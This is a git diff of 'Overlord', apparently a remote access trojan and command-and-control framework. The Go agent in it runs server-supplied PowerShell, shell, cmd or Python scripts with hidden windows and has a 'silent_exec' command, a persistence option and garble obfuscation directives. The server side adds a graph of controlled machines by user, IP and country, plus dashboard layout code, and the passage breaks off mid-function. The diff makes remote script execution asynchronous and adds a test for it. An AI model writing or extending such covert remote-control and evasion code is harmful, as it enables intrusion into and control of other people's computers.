diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go
index a629f57..4adf08e 100644
--- a/Overlord-Client/cmd/agent/config/config.go
+++ b/Overlord-Client/cmd/agent/config/config.go
@@ -17,7 +17,7 @@ import (
"time"
)
-var AgentVersion = "2.3.4"
+var AgentVersion = "2.3.5"
var DefaultPersistence = "false"
var DefaultServerURL = "wss://127.0.0.1:5173"
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index 627ae70..7b51f21 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -2332,7 +2332,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if scriptType == "" {
scriptType = "powershell"
}
- return HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType)
+ StartScriptExecute(ctx, env, cmdID, scriptContent, scriptType)
+ return nil
case "silent_exec":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
diff --git a/Overlord-Client/cmd/agent/handlers/script.go b/Overlord-Client/cmd/agent/handlers/script.go
index 83fc31c..2b2e6a5 100644
--- a/Overlord-Client/cmd/agent/handlers/script.go
+++ b/Overlord-Client/cmd/agent/handlers/script.go
@@ -12,33 +12,46 @@ import (
"overlord-client/cmd/agent/wire"
)
+const scriptExecutionTimeout = 5 * time.Minute
+
+func StartScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) {
+ goSafe("script execute", env.Cancel, func() {
+ if err := HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType); err != nil {
+ log.Printf("script: failed to send result for command %s: %v", cmdID, err)
+ }
+ })
+}
+
func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent))
+ execCtx, cancel := context.WithTimeout(ctx, scriptExecutionTimeout)
+ defer cancel()
+
var cmd *exec.Cmd
switch scriptType {
case "powershell":
if runtime.GOOS == "windows" {
- cmd = exec.CommandContext(ctx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
+ cmd = exec.CommandContext(execCtx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
} else {
- cmd = exec.CommandContext(ctx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
+ cmd = exec.CommandContext(execCtx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
}
case "bash":
if runtime.GOOS == "windows" {
- cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent)
+ cmd = exec.CommandContext(execCtx, "bash", "-c", scriptContent)
} else {
- cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent)
+ cmd = exec.CommandContext(execCtx, "bash", "-c", scriptContent)
}
case "sh":
- cmd = exec.CommandContext(ctx, "sh", "-c", scriptContent)
+ cmd = exec.CommandContext(execCtx, "sh", "-c", scriptContent)
case "cmd":
if runtime.GOOS == "windows" {
- cmd = exec.CommandContext(ctx, "cmd.exe", "/c", scriptContent)
+ cmd = exec.CommandContext(execCtx, "cmd.exe", "/c", scriptContent)
} else {
- return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ return writeScriptCommandResult(env, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
@@ -46,11 +59,11 @@ func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID strin
})
}
case "python":
- cmd = exec.CommandContext(ctx, "python", "-c", scriptContent)
+ cmd = exec.CommandContext(execCtx, "python", "-c", scriptContent)
case "python3":
- cmd = exec.CommandContext(ctx, "python3", "-c", scriptContent)
+ cmd = exec.CommandContext(execCtx, "python3", "-c", scriptContent)
default:
- return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ return writeScriptCommandResult(env, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
@@ -60,25 +73,21 @@ func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID strin
hideCmdWindow(cmd)
- timeout := 5 * time.Minute
- ctx, cancel := context.WithTimeout(ctx, timeout)
- defer cancel()
-
output, err := cmd.CombinedOutput()
if err != nil {
- if ctx.Err() == context.DeadlineExceeded {
- return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
+ if execCtx.Err() == context.DeadlineExceeded {
+ return writeScriptResult(env, wire.ScriptResult{
Type: "script_result",
CommandID: cmdID,
OK: false,
Output: string(output),
- Error: "Script execution timed out after " + timeout.String(),
+ Error: "Script execution timed out after " + scriptExecutionTimeout.String(),
})
}
- return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
+ return writeScriptResult(env, wire.ScriptResult{
Type: "script_result",
CommandID: cmdID,
OK: false,
@@ -88,10 +97,22 @@ func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID strin
}
log.Printf("script: execution completed successfully (%d bytes output)", len(output))
- return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
+ return writeScriptResult(env, wire.ScriptResult{
Type: "script_result",
CommandID: cmdID,
OK: true,
Output: strings.TrimSpace(string(output)),
})
}
+
+func writeScriptResult(env *agentRuntime.Env, result wire.ScriptResult) error {
+ writeCtx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
+ defer cancel()
+ return wire.WriteMsg(writeCtx, env.Conn, result)
+}
+
+func writeScriptCommandResult(env *agentRuntime.Env, result wire.CommandResult) error {
+ writeCtx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
+ defer cancel()
+ return wire.WriteMsg(writeCtx, env.Conn, result)
+}
diff --git a/Overlord-Client/cmd/agent/handlers/script_test.go b/Overlord-Client/cmd/agent/handlers/script_test.go
new file mode 100644
index 0000000..d9cbb8a
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/script_test.go
@@ -0,0 +1,100 @@
+package handlers
+
+import (
+ "context"
+ goruntime "runtime"
+ "sync"
+ "testing"
+ "time"
+
+ "overlord-client/cmd/agent/config"
+ rt "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+
+ "github.com/vmihailenco/msgpack/v5"
+ "nhooyr.io/websocket"
+)
+
+type scriptTestWriter struct {
+ mu sync.Mutex
+ msgs [][]byte
+}
+
+func (w *scriptTestWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+ w.msgs = append(w.msgs, append([]byte(nil), p...))
+ return nil
+}
+
+func (w *scriptTestWriter) popScriptResult() (wire.ScriptResult, bool, error) {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+ for _, msg := range w.msgs {
+ var result wire.ScriptResult
+ if err := msgpack.Unmarshal(msg, &result); err != nil {
+ return wire.ScriptResult{}, false, err
+ }
+ if result.Type == "script_result" {
+ return result, true, nil
+ }
+ }
+ return wire.ScriptResult{}, false, nil
+}
+
+func TestHandleCommandScriptExecRunsAsync(t *testing.T) {
+ writer := &scriptTestWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ scriptType := "sh"
+ script := "sleep 0.2; echo done"
+ if goruntime.GOOS == "windows" {
+ scriptType = "cmd"
+ script = "ping 127.0.0.1 -n 2 >NUL & echo done"
+ }
+
+ envelope := map[string]interface{}{
+ "type": "command",
+ "commandType": "script_exec",
+ "id": "cmd-script-async",
+ "payload": map[string]interface{}{
+ "script": script,
+ "type": scriptType,
+ },
+ }
+
+ start := time.Now()
+ if err := HandleCommand(context.Background(), env, envelope); err != nil {
+ t.Fatalf("HandleCommand(script_exec) failed: %v", err)
+ }
+ if elapsed := time.Since(start); elapsed > 100*time.Millisecond {
+ t.Fatalf("script_exec blocked dispatcher for %s", elapsed)
+ }
+
+ deadline := time.After(5 * time.Second)
+ for {
+ result, ok, err := writer.popScriptResult()
+ if err != nil {
+ t.Fatalf("failed to decode script result: %v", err)
+ }
+ if ok {
+ if !result.OK {
+ t.Fatalf("expected script ok=true, got error=%q output=%q", result.Error, result.Output)
+ }
+ if result.Output != "done" {
+ t.Fatalf("expected output %q, got %q", "done", result.Output)
+ }
+ return
+ }
+
+ select {
+ case <-deadline:
+ t.Fatal("timed out waiting for script result")
+ default:
+ time.Sleep(10 * time.Millisecond)
+ }
+ }
+}
diff --git a/Overlord-Server/bun.lock b/Overlord-Server/bun.lock
index 86f2fba..218ad01 100644
--- a/Overlord-Server/bun.lock
+++ b/Overlord-Server/bun.lock
@@ -9,7 +9,10 @@
"@solana/web3.js": "^1.98.4",
"adm-zip": "^0.5.12",
"ansi-to-html": "0.7.2",
+ "cytoscape": "^3.34.0",
+ "fuse.js": "^7.4.1",
"geoip-lite": "latest",
+ "gridstack": "^12.6.0",
"jose": "^6.1.3",
"msgpackr": "1.11.8",
"qrcode": "^1.5.4",
@@ -262,6 +265,8 @@
"commander": ["commander@10.0.1", "", {}, "sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug=="],
+ "cytoscape": ["cytoscape@3.34.0", "", {}, "sha512-62rNSrioXw93uliKFBwjukeQyeWwH2PqDrTac31r2P6464u3AUvTk0xS4LVvT251g7IgkFunrI48ZEZGjywSOg=="],
+
"debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
"decamelize": ["decamelize@1.2.0", "", {}, "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA=="],
@@ -310,12 +315,16 @@
"fraction.js": ["fraction.js@5.3.4", "", {}, "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ=="],
+ "fuse.js": ["fuse.js@7.4.1", "", {}, "sha512-AY7lKAXK71hi3WgUvDy6oZL67UEHOOtvCAwVdOXHyJd6ZzftBy7QqxuXt4HxmmAhYjmp/YCuOELZtIvAdlZ+fw=="],
+
"geoip-lite": ["geoip-lite@2.0.1", "", { "dependencies": { "chalk": "4.1 - 4.1.2", "iconv-lite": "0.4.13 - 0.6.3", "ip-address": "5.8.9 - 5.9.4", "lazy": "1.0.11", "yauzl": "^3.2.1" } }, "sha512-cR9E28nu1a6dsvzB1tANhdmCyXWV1L4AiSCT9alHLIUl06599EGu33mqY99ieU0twQob0kfcDQ/sAUBvHb7swA=="],
"get-caller-file": ["get-caller-file@2.0.5", "", {}, "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg=="],
"graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="],
+ "gridstack": ["gridstack@12.6.0", "", {}, "sha512-dUrqsormSybFn/2P4Dz8AgprftKD5e/IiV7UmC0XLQU+G+/WtkAeFiCSNLoAGhPDXoJ/O61Xtj3gljY/Ds83yQ=="],
+
"has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
"highlight.js": ["highlight.js@11.9.0", "", {}, "sha512-fJ7cW7fQGCYAkgv4CPfwFHrfd/cLS4Hau96JuJ+ZTOWhjnhoeN1ub1tFmALm/+lW5z4WCAuAV9bm05AP0mS6Gw=="],
diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json
index f70a6c1..494d30a 100644
--- a/Overlord-Server/package.json
+++ b/Overlord-Server/package.json
@@ -1,6 +1,6 @@
{
"name": "overlord-server",
- "version": "2.3.4",
+ "version": "2.3.5",
"private": true,
"type": "module",
"scripts": {
@@ -20,7 +20,10 @@
"@solana/web3.js": "^1.98.4",
"adm-zip": "^0.5.12",
"ansi-to-html": "0.7.2",
+ "cytoscape": "^3.34.0",
+ "fuse.js": "^7.4.1",
"geoip-lite": "latest",
+ "gridstack": "^12.6.0",
"jose": "^6.1.3",
"msgpackr": "1.11.8",
"qrcode": "^1.5.4",
diff --git a/Overlord-Server/public/assets/client-graph.js b/Overlord-Server/public/assets/client-graph.js
new file mode 100644
index 0000000..a00538a
--- /dev/null
+++ b/Overlord-Server/public/assets/client-graph.js
@@ -0,0 +1,341 @@
+const container = document.getElementById("client-graph");
+const searchInput = document.getElementById("graph-search");
+const statusSelect = document.getElementById("graph-status");
+const layoutSelect = document.getElementById("graph-layout");
+const refreshBtn = document.getElementById("graph-refresh");
+const fitBtn = document.getElementById("graph-fit");
+const summaryEl = document.getElementById("graph-summary");
+const detailTitle = document.getElementById("graph-detail-title");
+const detailMeta = document.getElementById("graph-detail-meta");
+const detailActions = document.getElementById("graph-detail-actions");
+
+let cy = null;
+let currentGraph = null;
+let searchTimer = null;
+const LARGE_GRAPH_ANIMATION_CLIENTS = 30000;
+
+const typeColors = {
+ client: "#38bdf8",
+ group: "#a78bfa",
+ build: "#f59e0b",
+ os: "#22c55e",
+ country: "#f472b6",
+ subnet: "#60a5fa",
+ user: "#f97316",
+ status: "#64748b",
+};
+
+function flagEmoji(country) {
+ const cc = String(country || "").trim().toUpperCase();
+ if (!/^[A-Z]{2}$/.test(cc) || cc === "ZZ") return "";
+ const base = 0x1f1e6;
+ return String.fromCodePoint(
+ base + cc.charCodeAt(0) - 65,
+ base + cc.charCodeAt(1) - 65,
+ );
+}
+
+function osSymbol(osRaw) {
+ const os = String(osRaw || "").toLowerCase();
+ if (os.includes("win")) return "⊞";
+ if (os.includes("mac") || os.includes("darwin")) return "⌘";
+ if (os.includes("android")) return "▣";
+ if (os.includes("ubuntu")) return "◌";
+ if (os.includes("debian")) return "◆";
+ if (os.includes("fedora")) return "●";
+ if (os.includes("freebsd")) return "◇";
+ if (os.includes("linux")) return "⬢";
+ return "◯";
+}
+
+function nodeDisplayLabel(data) {
+ const label = String(data.label || data.id || "");
+ if (data.type === "country") {
+ const flag = flagEmoji(label);
+ return flag ? `${flag} ${label} ${flag}` : label;
+ }
+ if (data.type === "os") return `${osSymbol(label)}\n${label}`;
+ if (data.type === "status") return `${data.online ? "●" : "○"}\n${label}`;
+ if (data.type === "group") return `◫\n${label}`;
+ if (data.type === "build") return `⬡\n${label}`;
+ if (data.type === "subnet") return `⌁\n${label}`;
+ if (data.type === "user") return `@\n${label}`;
+ return label;
+}
+
+function escapeHtml(value) {
+ return String(value ?? "")
+ .replace(/&/g, "&")
+ .replace(//g, ">")
+ .replace(/"/g, """);
+}
+
+function setSummary(summary) {
+ if (!summaryEl) return;
+ const total = summary.totalClients && summary.totalClients !== summary.clients
+ ? ` of ${summary.totalClients}`
+ : "";
+ summaryEl.textContent = `${summary.clients}${total} clients, ${summary.online} online, ${summary.relationships} relationships`;
+}
+
+function graphElements(graph) {
+ return [
+ ...graph.nodes.map((node) => ({
+ group: "nodes",
+ data: {
+ ...node.data,
+ color: node.data.color || typeColors[node.data.type] || "#94a3b8",
+ displayLabel: nodeDisplayLabel(node.data),
+ },
+ })),
+ ...graph.edges.map((edge) => ({ group: "edges", data: edge.data })),
+ ];
+}
+
+function shouldAnimateLayout(graph = currentGraph) {
+ const total = Number(graph?.summary?.totalClients || graph?.summary?.clients || 0);
+ return total < LARGE_GRAPH_ANIMATION_CLIENTS;
+}
+
+function layoutOptions(name, graph = currentGraph) {
+ const animate = shouldAnimateLayout(graph);
+ if (name === "grid") {
+ return { name, animate, animationDuration: animate ? 260 : 0, padding: 36 };
+ }
+ if (name === "circle") {
+ return { name, animate, animationDuration: animate ? 260 : 0, padding: 36 };
+ }
+ if (name === "breadthfirst") {
+ return { name, directed: false, animate, animationDuration: animate ? 260 : 0, padding: 36, spacingFactor: 1.15 };
+ }
+ return {
+ name: "cose",
+ animate,
+ animationDuration: animate ? 360 : 0,
+ padding: 40,
+ idealEdgeLength: 110,
+ nodeRepulsion: 5200,
+ gravity: 0.28,
+ numIter: 900,
+ };
+}
+
+function showSelection(node) {
+ if (!detailTitle || !detailMeta || !detailActions) return;
+ if (!node) {
+ detailTitle.textContent = "Nothing selected";
+ detailMeta.innerHTML = "";
+ detailActions.innerHTML = "";
+ return;
+ }
+
+ const data = node.data();
+ const meta = data.meta || {};
+ const countryFlag = flagEmoji(meta.country || (data.type === "country" ? data.label : ""));
+ detailTitle.textContent = data.type === "country" && countryFlag
+ ? `${countryFlag} ${data.label || data.id} ${countryFlag}`
+ : data.label || data.id;
+ const rows = [
+ ["Type", data.type],
+ ["Count", data.type === "client" ? "" : data.count || 1],
+ ["Online", data.type === "client" ? (data.online ? "Yes" : "No") : data.onlineCount || 0],
+ ["Client ID", data.clientId || meta.id || ""],
+ ["Host", meta.host || ""],
+ ["User", meta.user || ""],
+ ["OS", meta.os || ""],
+ ["IP", meta.ip || ""],
+ ["Country", meta.country ? `${countryFlag ? `${countryFlag} ` : ""}${meta.country}${countryFlag ? ` ${countryFlag}` : ""}` : ""],
+ ["Group", meta.groupName || ""],
+ ["Build", meta.buildTag || ""],
+ ].filter(([, value]) => value !== "" && value !== undefined && value !== null);
+
+ detailMeta.innerHTML = rows.map(([label, value]) => `
+
+ ${escapeHtml(label)}
+ ${escapeHtml(value)}
+
+ `).join("");
+
+ if (data.clientId) {
+ const id = encodeURIComponent(data.clientId);
+ const online = data.online === true;
+ const disabled = online ? "" : " disabled aria-disabled=\"true\" title=\"Client is offline\"";
+ const disabledNote = online
+ ? ""
+ : `Client is offline
`;
+ detailActions.innerHTML = `
+ ${disabledNote}
+
+
+
+
+ `;
+ } else {
+ detailActions.innerHTML = "";
+ }
+}
+
+function bindInspectorActions() {
+ detailActions?.addEventListener("click", async (event) => {
+ const button = event.target.closest("button");
+ if (!button) return;
+ if (button.disabled || button.getAttribute("aria-disabled") === "true") return;
+ const href = button.dataset.graphAction;
+ if (href) {
+ window.open(href, "_blank", "noopener");
+ return;
+ }
+ const copyValue = button.dataset.graphCopy;
+ if (copyValue) {
+ await navigator.clipboard?.writeText(copyValue);
+ }
+ });
+}
+
+function selectNode(node) {
+ if (!cy) return;
+ cy.elements().removeClass("graph-dim graph-focus");
+ if (!node) {
+ showSelection(null);
+ return;
+ }
+ const neighborhood = node.closedNeighborhood();
+ cy.elements().difference(neighborhood).addClass("graph-dim");
+ neighborhood.addClass("graph-focus");
+ showSelection(node);
+}
+
+function renderGraph(graph) {
+ currentGraph = graph;
+ setSummary(graph.summary);
+
+ if (!window.cytoscape) {
+ if (summaryEl) summaryEl.textContent = "Cytoscape failed to load";
+ return;
+ }
+
+ if (!cy) {
+ cy = window.cytoscape({
+ container,
+ elements: graphElements(graph),
+ minZoom: 0.18,
+ maxZoom: 5,
+ wheelSensitivity: 1.8,
+ style: [
+ {
+ selector: "node",
+ style: {
+ label: "data(displayLabel)",
+ "background-color": "data(color)",
+ "border-color": "#020617",
+ "border-width": 2,
+ color: "#dbeafe",
+ "font-family": "Inter, Segoe UI, sans-serif",
+ "font-size": 11,
+ "font-weight": 600,
+ "text-outline-color": "#020617",
+ "text-outline-width": 3,
+ "text-valign": "center",
+ "text-halign": "center",
+ "line-height": 1.15,
+ "text-wrap": "wrap",
+ "text-max-width": 88,
+ width: "mapData(weight, 1, 12, 28, 74)",
+ height: "mapData(weight, 1, 12, 28, 74)",
+ },
+ },
+ {
+ selector: 'node[type = "client"]',
+ style: {
+ shape: "round-rectangle",
+ "border-color": "data(color)",
+ "border-width": 3,
+ },
+ },
+ {
+ selector: 'node[online = true]',
+ style: {
+ "border-color": "#22c55e",
+ },
+ },
+ {
+ selector: "edge",
+ style: {
+ width: 1.35,
+ "line-color": "rgba(148, 163, 184, 0.42)",
+ "target-arrow-shape": "none",
+ "curve-style": "bezier",
+ },
+ },
+ {
+ selector: ".graph-dim",
+ style: {
+ opacity: 0.12,
+ },
+ },
+ {
+ selector: ".graph-focus",
+ style: {
+ opacity: 1,
+ },
+ },
+ ],
+ });
+
+ cy.on("tap", "node", (event) => selectNode(event.target));
+ cy.on("tap", (event) => {
+ if (event.target === cy) selectNode(null);
+ });
+ } else {
+ cy.elements().remove();
+ cy.add(graphElements(graph));
+ }
+
+ cy.layout(layoutOptions(layoutSelect?.value || "cose", graph)).run();
+ setTimeout(() => cy?.fit(undefined, 32), 420);
+}
+
+async function loadGraph() {
+ if (!container) return;
+ if (summaryEl) summaryEl.textContent = "Loading...";
+ const params = new URLSearchParams({
+ limit: "350",
+ q: searchInput?.value || "",
+ status: statusSelect?.value || "all",
+ });
+ const res = await fetch(`/api/client-graph?${params}`, { credentials: "include" });
+ if (!res.ok) {
+ if (summaryEl) summaryEl.textContent = `Graph unavailable (${res.status})`;
+ return;
+ }
+ renderGraph(await res.json());
+}
+
+function debounceLoad() {
+ clearTimeout(searchTimer);
+ searchTimer = setTimeout(loadGraph, 220);
+}
+
+layoutSelect?.addEventListener("change", () => {
+ if (cy) cy.layout(layoutOptions(layoutSelect.value, currentGraph)).run();
+});
+searchInput?.addEventListener("input", debounceLoad);
+statusSelect?.addEventListener("change", loadGraph);
+refreshBtn?.addEventListener("click", loadGraph);
+fitBtn?.addEventListener("click", () => cy?.fit(undefined, 32));
+window.addEventListener("resize", () => {
+ cy?.resize();
+ cy?.fit(undefined, 32);
+});
+
+bindInspectorActions();
+loadGraph();
diff --git a/Overlord-Server/public/assets/command-palette.js b/Overlord-Server/public/assets/command-palette.js
index f3d0781..cffeeaa 100644
--- a/Overlord-Server/public/assets/command-palette.js
+++ b/Overlord-Server/public/assets/command-palette.js
@@ -268,6 +268,7 @@ function close() {
function navigate(href, newTab = false) {
pushRecent(href);
if (newTab) window.open(href, "_blank", "noopener");
+ else if (window.overlordSoftNavigate) window.overlordSoftNavigate(href);
else window.location.href = href;
close();
}
diff --git a/Overlord-Server/public/assets/dashboard-stats.js b/Overlord-Server/public/assets/dashboard-stats.js
index 61ff587..f3ced54 100644
--- a/Overlord-Server/public/assets/dashboard-stats.js
+++ b/Overlord-Server/public/assets/dashboard-stats.js
@@ -5,12 +5,34 @@ let osChart = null;
const STATS_COLLAPSED_KEY = "overlord_dashboard_stats_collapsed";
const STATS_HEIGHT_KEY = "overlord_dashboard_stats_height";
const STATS_ORDER_KEY = "overlord_dashboard_stats_order";
+const STATS_LAYOUT_KEY = "overlord_dashboard_stats_gridstack_layout";
+const STATS_HIDDEN_KEY = "overlord_dashboard_stats_hidden";
const PULSE_ORDER_KEY = "overlord_dashboard_pulse_order";
const DEFAULT_STATS_HEIGHT = 142;
const MIN_STATS_HEIGHT = 112;
const MAX_STATS_HEIGHT = 280;
const DEFAULT_CARD_ORDER = ["online", "sessions", "trend", "fleet", "pulse"];
const DEFAULT_PULSE_ORDER = ["api", "memory", "ping"];
+const DEFAULT_GRID_LAYOUT = {
+ online: { x: 0, y: 0, w: 2, h: 2 },
+ sessions: { x: 2, y: 0, w: 2, h: 2 },
+ trend: { x: 4, y: 0, w: 3, h: 2 },
+ fleet: { x: 7, y: 0, w: 3, h: 2 },
+ pulse: { x: 10, y: 0, w: 2, h: 2 },
+};
+let statsGrid = null;
+
+function teardownDashboardStats() {
+ if (metricsTimer) clearInterval(metricsTimer);
+ metricsTimer = null;
+ onlineChart?.destroy?.();
+ osChart?.destroy?.();
+ onlineChart = null;
+ osChart = null;
+ statsGrid?.destroy?.(false);
+ statsGrid = null;
+ initialized = false;
+}
const palette = {
text: "#cbd5e1",
@@ -291,6 +313,239 @@ function applyHeightMode(height) {
}
}
+function getStatsCellHeight() {
+ return Math.max(48, Math.round(getSavedHeight() / 2));
+}
+
+function resizeCharts() {
+ requestAnimationFrame(() => {
+ onlineChart?.resize();
+ osChart?.resize();
+ });
+}
+
+function syncStatsWidgetHeights() {
+ if (!statsGrid?.engine?.nodes) return;
+ const cellHeight = Number(statsGrid.opts?.cellHeight) || getStatsCellHeight();
+ for (const node of statsGrid.engine.nodes) {
+ const content = node.el?.querySelector?.(".grid-stack-item-content");
+ if (!content) continue;
+ const estimated = Math.max(64, (Number(node.h) || 2) * cellHeight - 12);
+ content.style.setProperty("--dashboard-stats-height", `${estimated}px`);
+ }
+}
+
+function readSavedGridLayout() {
+ try {
+ const parsed = JSON.parse(localStorage.getItem(STATS_LAYOUT_KEY) || "[]");
+ if (!Array.isArray(parsed)) return [];
+ return parsed
+ .filter((item) => DEFAULT_CARD_ORDER.includes(item?.id))
+ .map((item) => ({
+ id: item.id,
+ x: Math.max(0, Number(item.x) || 0),
+ y: Math.max(0, Number(item.y) || 0),
+ w: Math.max(1, Number(item.w) || DEFAULT_GRID_LAYOUT[item.id]?.w || 2),
+ h: Math.max(1, Number(item.h) || DEFAULT_GRID_LAYOUT[item.id]?.h || 2),
+ }));
+ } catch {
+ return [];
+ }
+}
+
+function readHiddenStatsCards() {
+ try {
+ const parsed = JSON.parse(localStorage.getItem(STATS_HIDDEN_KEY) || "[]");
+ if (!Array.isArray(parsed)) return [];
+ return parsed.filter((id) => DEFAULT_CARD_ORDER.includes(id));
+ } catch {
+ return [];
+ }
+}
+
+function saveHiddenStatsCards(hidden) {
+ const cleaned = Array.from(hidden).filter((id) => DEFAULT_CARD_ORDER.includes(id));
+ localStorage.setItem(STATS_HIDDEN_KEY, JSON.stringify(cleaned));
+}
+
+function isStatsGridManaged(el) {
+ return !!statsGrid?.engine?.nodes?.some((node) => node.el === el);
+}
+
+function saveStatsGridLayout() {
+ if (!statsGrid?.engine?.nodes) return;
+ const layoutMap = new Map(
+ DEFAULT_CARD_ORDER.map((id) => [id, { id, ...DEFAULT_GRID_LAYOUT[id] }]),
+ );
+
+ for (const item of readSavedGridLayout()) {
+ layoutMap.set(item.id, item);
+ }
+
+ for (const node of statsGrid.engine.nodes) {
+ const id = node.el?.dataset?.dashboardCard || node.id;
+ if (!DEFAULT_CARD_ORDER.includes(id)) continue;
+ layoutMap.set(id, { id, x: node.x, y: node.y, w: node.w, h: node.h });
+ }
+
+ const layout = DEFAULT_CARD_ORDER.map((id) => layoutMap.get(id));
+ localStorage.setItem(STATS_LAYOUT_KEY, JSON.stringify(layout));
+}
+
+function applyGridLayout(layout) {
+ if (!statsGrid) return;
+ statsGrid.batchUpdate();
+ for (const item of layout) {
+ const el = document.querySelector(`[data-dashboard-card="${item.id}"]`);
+ if (el) statsGrid.update(el, { x: item.x, y: item.y, w: item.w, h: item.h });
+ }
+ statsGrid.batchUpdate(false);
+ syncStatsWidgetHeights();
+ resizeCharts();
+}
+
+function setStatsCardHidden(id, hidden, persist = true) {
+ if (!DEFAULT_CARD_ORDER.includes(id)) return;
+ const el = document.querySelector(`[data-dashboard-card="${id}"]`);
+ if (!el) return;
+
+ if (hidden) {
+ if (statsGrid && isStatsGridManaged(el)) statsGrid.removeWidget(el, false);
+ el.classList.add("dashboard-card-hidden");
+ } else {
+ el.classList.remove("dashboard-card-hidden");
+ if (statsGrid && !isStatsGridManaged(el)) {
+ statsGrid.makeWidget(el);
+ const layout = readSavedGridLayout().find((item) => item.id === id);
+ statsGrid.update(el, { ...(layout || DEFAULT_GRID_LAYOUT[id]) });
+ }
+ }
+
+ if (persist) {
+ const nextHidden = new Set(readHiddenStatsCards());
+ if (hidden) nextHidden.add(id);
+ else nextHidden.delete(id);
+ saveHiddenStatsCards(nextHidden);
+ saveStatsGridLayout();
+ }
+
+ syncStatsWidgetHeights();
+ resizeCharts();
+}
+
+function applyHiddenStatsCards() {
+ const hidden = new Set(readHiddenStatsCards());
+ for (const id of DEFAULT_CARD_ORDER) {
+ setStatsCardHidden(id, hidden.has(id), false);
+ }
+}
+
+function syncStatsCardMenu() {
+ const panel = $("dashboard-card-menu-panel");
+ if (!panel) return;
+ const hidden = new Set(readHiddenStatsCards());
+ panel.querySelectorAll("[data-dashboard-card-toggle]").forEach((input) => {
+ const id = input.dataset.dashboardCardToggle;
+ input.checked = !hidden.has(id);
+ });
+}
+
+function initStatsCardMenu() {
+ const menu = $("dashboard-card-menu");
+ const panel = $("dashboard-card-menu-panel");
+ if (!panel || panel.dataset.bound === "true") return;
+
+ panel.dataset.bound = "true";
+ syncStatsCardMenu();
+ panel.querySelectorAll("[data-dashboard-card-toggle]").forEach((input) => {
+ input.addEventListener("change", () => {
+ setStatsCardHidden(input.dataset.dashboardCardToggle, !input.checked);
+ });
+ });
+
+ menu?.addEventListener("toggle", () => {
+ if (menu.open) syncStatsCardMenu();
+ });
+}
+
+function applySavedGridLayout() {
+ const saved = readSavedGridLayout();
+ if (saved.length) {
+ applyGridLayout(saved);
+ return;
+ }
+
+ // Preserve older drag-only ordering by converting it into default-size widgets.
+ const order = readSavedOrder();
+ if (!order.length || order.join("|") === DEFAULT_CARD_ORDER.join("|")) return;
+ const migrated = order.map((id, index) => ({
+ id,
+ ...(DEFAULT_GRID_LAYOUT[id] || { w: 2, h: 2 }),
+ x: index === 0 ? 0 : undefined,
+ y: index === 0 ? 0 : undefined,
+ }));
+ let x = 0;
+ for (const item of migrated) {
+ const width = item.w || 2;
+ if (x + width > 12) x = 0;
+ item.x = x;
+ item.y = 0;
+ x += width;
+ }
+ applyGridLayout(migrated);
+}
+
+function resetStatsGridLayout() {
+ localStorage.removeItem(STATS_LAYOUT_KEY);
